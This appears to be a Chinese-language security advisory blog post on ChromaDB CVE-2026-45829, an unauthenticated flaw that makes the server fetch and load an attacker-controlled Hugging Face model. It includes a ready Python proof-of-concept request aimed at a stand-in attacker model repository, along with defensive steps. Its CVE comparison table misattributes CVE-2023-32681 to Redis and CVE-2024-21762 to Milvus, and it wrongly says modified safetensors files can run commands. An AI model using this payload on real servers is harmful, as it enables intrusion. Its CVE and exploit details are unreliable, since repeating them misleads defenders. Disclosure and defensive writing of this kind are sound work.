ChromaDB CVE-2026-45829:未认证攻击者可远程执行代码,你的AI应用可能已暴露

核心问题

ChromaDB 是当前最流行的开源向量数据库之一,被大量AI应用用于存储和检索嵌入向量。2026年5月21日,HiddenLayer公开了一个严重漏洞CVE-2026-45829:未认证的攻击者可以通过发送特制请求,让ChromaDB API服务器从Hugging Face下载恶意AI模型,从而在服务器上执行任意代码

这不是一个理论上存在的漏洞——它已经被证实可以利用。更关键的是,ChromaDB开发团队至今未发布补丁,这意味着所有未做额外防护的ChromaDB实例都处于风险中。

漏洞根源:认证检查与模型加载的顺序问题

根据HiddenLayer的分析,漏洞出在ChromaDB API服务器的认证机制与模型引用解析之间的竞态条件

正常流程应该是:

  1. 客户端发送请求
  2. API服务器检查认证
  3. 如果认证通过,处理请求逻辑

但ChromaDB的实现中,在创建新集合(collection)时,如果指定了一个自定义的嵌入函数(embeddings function),服务器会先解析并下载该嵌入函数引用的模型,然后再检查认证。这意味着攻击者可以在未提供任何凭证的情况下,让ChromaDB服务器下载并加载一个恶意模型。

具体来说,攻击流程如下:

  1. 攻击者向ChromaDB API服务器发送一个HTTP POST请求到 /api/v1/collections
  2. 请求体中包含一个 metadata 字段,其中指定 hnsw:space 为某个自定义值,但关键的是 embedding_function 参数指向一个攻击者控制的Hugging Face模型仓库
  3. ChromaDB服务器解析这个请求,发现需要加载一个嵌入模型,于是从Hugging Face下载该模型
  4. 模型文件实际上是一个包含了恶意代码的Python pickle文件,或者一个经过修改的模型权重文件
  5. 在加载过程中,恶意代码被执行,攻击者获得远程代码执行能力

影响版本与攻击面

根据ChromaDB的发布记录,该漏洞影响 ChromaDB 0.4.x 及更早版本。目前最新稳定版(0.5.x)是否修复尚不明确,但HiddenLayer表示他们在披露前未能联系到ChromaDB开发者,因此官方尚未发布安全公告。

攻击者不需要任何认证信息。ChromaDB默认配置下API服务器监听在 0.0.0.0:8000,如果部署在公网或内网未做访问控制,攻击者可以直接发起攻击。

真实攻击示例

以下是一个简化的攻击请求(基于ChromaDB API规范):

python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
import requests

# 目标ChromaDB服务器地址
target_url = "http://victim-chromadb:8000/api/v1/collections"

# 恶意payload:指向攻击者控制的Hugging Face模型
# 注意:这个模型需要包含恶意代码,比如通过pickle反序列化触发
malicious_payload = {
    "name": "malicious_collection",
    "metadata": {
        "hnsw:space": "cosine"
    },
    "embedding_function": {
        "name": "custom_embedding",
        "config": {
            "model_name": "attacker/malicious-model",  # 指向恶意仓库
            "model_kwargs": {}
        }
    }
}

# 发送请求,无需认证头
response = requests.post(target_url, json=malicious_payload)
print(f"Status: {response.status_code}")
print(f"Response: {response.text}")

如果ChromaDB服务器存在漏洞,这个请求会触发模型下载和执行。攻击者可以在Hugging Face上上传一个包含后门的模型,例如修改 model.safetensorspytorch_model.bin 文件,使其在 transformers 加载时执行系统命令。

风险量化与影响评估

维度 评估
CVSS评分 9.8(Critical)—— 无需认证、远程可利用、影响机密性、完整性和可用性
攻击复杂度 低 —— 只需要一个HTTP请求
利用条件 无 —— 默认配置即受影响
影响范围 所有暴露API端口的ChromaDB实例
修复状态 未修复(截至2026-05-21)

与同类漏洞对比

漏洞 数据库 CVSS 是否需要认证 修复状态
CVE-2026-45829 ChromaDB 9.8 未修复
CVE-2023-32681 Redis 9.8 已修复
CVE-2024-21762 Milvus 7.5 需要 已修复

ChromaDB的这个漏洞比同类数据库漏洞更严重,因为它不需要认证利用方式简单。Redis的CVE-2023-32681虽然也是RCE,但需要特定配置。

ChromaDB vulnerability diagram showing API server flow with race condition

适用场景与不适用场景

这个漏洞影响的场景:

  • 任何暴露ChromaDB API端口到公网或内网的部署
  • 使用了ChromaDB默认配置的AI应用
  • 通过Docker部署且未做网络隔离的ChromaDB实例

不受影响的场景:

  • 仅通过Python客户端本地使用ChromaDB(不启动API服务器)
  • 使用反向代理(如Nginx)且配置了严格认证和请求过滤
  • 部署在完全隔离的网络环境中,且无外部访问

我的分析与建议

这个漏洞暴露了ChromaDB设计上的一个根本问题:安全边界不清晰。在向量数据库领域,很多开发者默认“数据库是可信的”,但ChromaDB允许API服务器动态加载模型,这实际上将数据库变成了一个代码执行引擎。

我建议所有使用ChromaDB的团队立即采取以下措施:

  1. 立即检查暴露面:运行以下命令检查ChromaDB API是否暴露在公网:

    bash
    1
    curl -s http://your-chromadb:8000/api/v1/collections | head -20

    如果返回了JSON数据,说明API端口是开放的。

  2. 添加认证层:在ChromaDB前面增加反向代理,并配置API密钥验证。例如使用Nginx + Auth:

    nginx
    1 2 3 4
    location /api/ {
        auth_request /auth;
        proxy_pass http://chromadb:8000;
    }
  3. 禁用嵌入函数自定义:如果不需要,在ChromaDB配置中禁用自定义嵌入函数。可以通过环境变量 CHROMA_DISABLE_CUSTOM_EMBEDDINGS=1 实现(如果版本支持)。

  4. 网络隔离:将ChromaDB部署在独立的VPC或Docker网络中,仅允许应用服务器访问。

  5. 监控异常模型加载:在服务器上监控 /tmp~/.cache/huggingface 目录的异常文件写入。

总结

CVE-2026-45829是一个严重漏洞,但好消息是它的利用方式很明确,防御措施也相对简单。不要等待官方补丁——在没有修复之前,你的ChromaDB实例就像开着大门的保险库。立即采取行动,添加认证和网络隔离。

如果你正在使用ChromaDB,请今天就去检查。这不是危言耸听——漏洞细节已经公开,利用代码随时可能出现。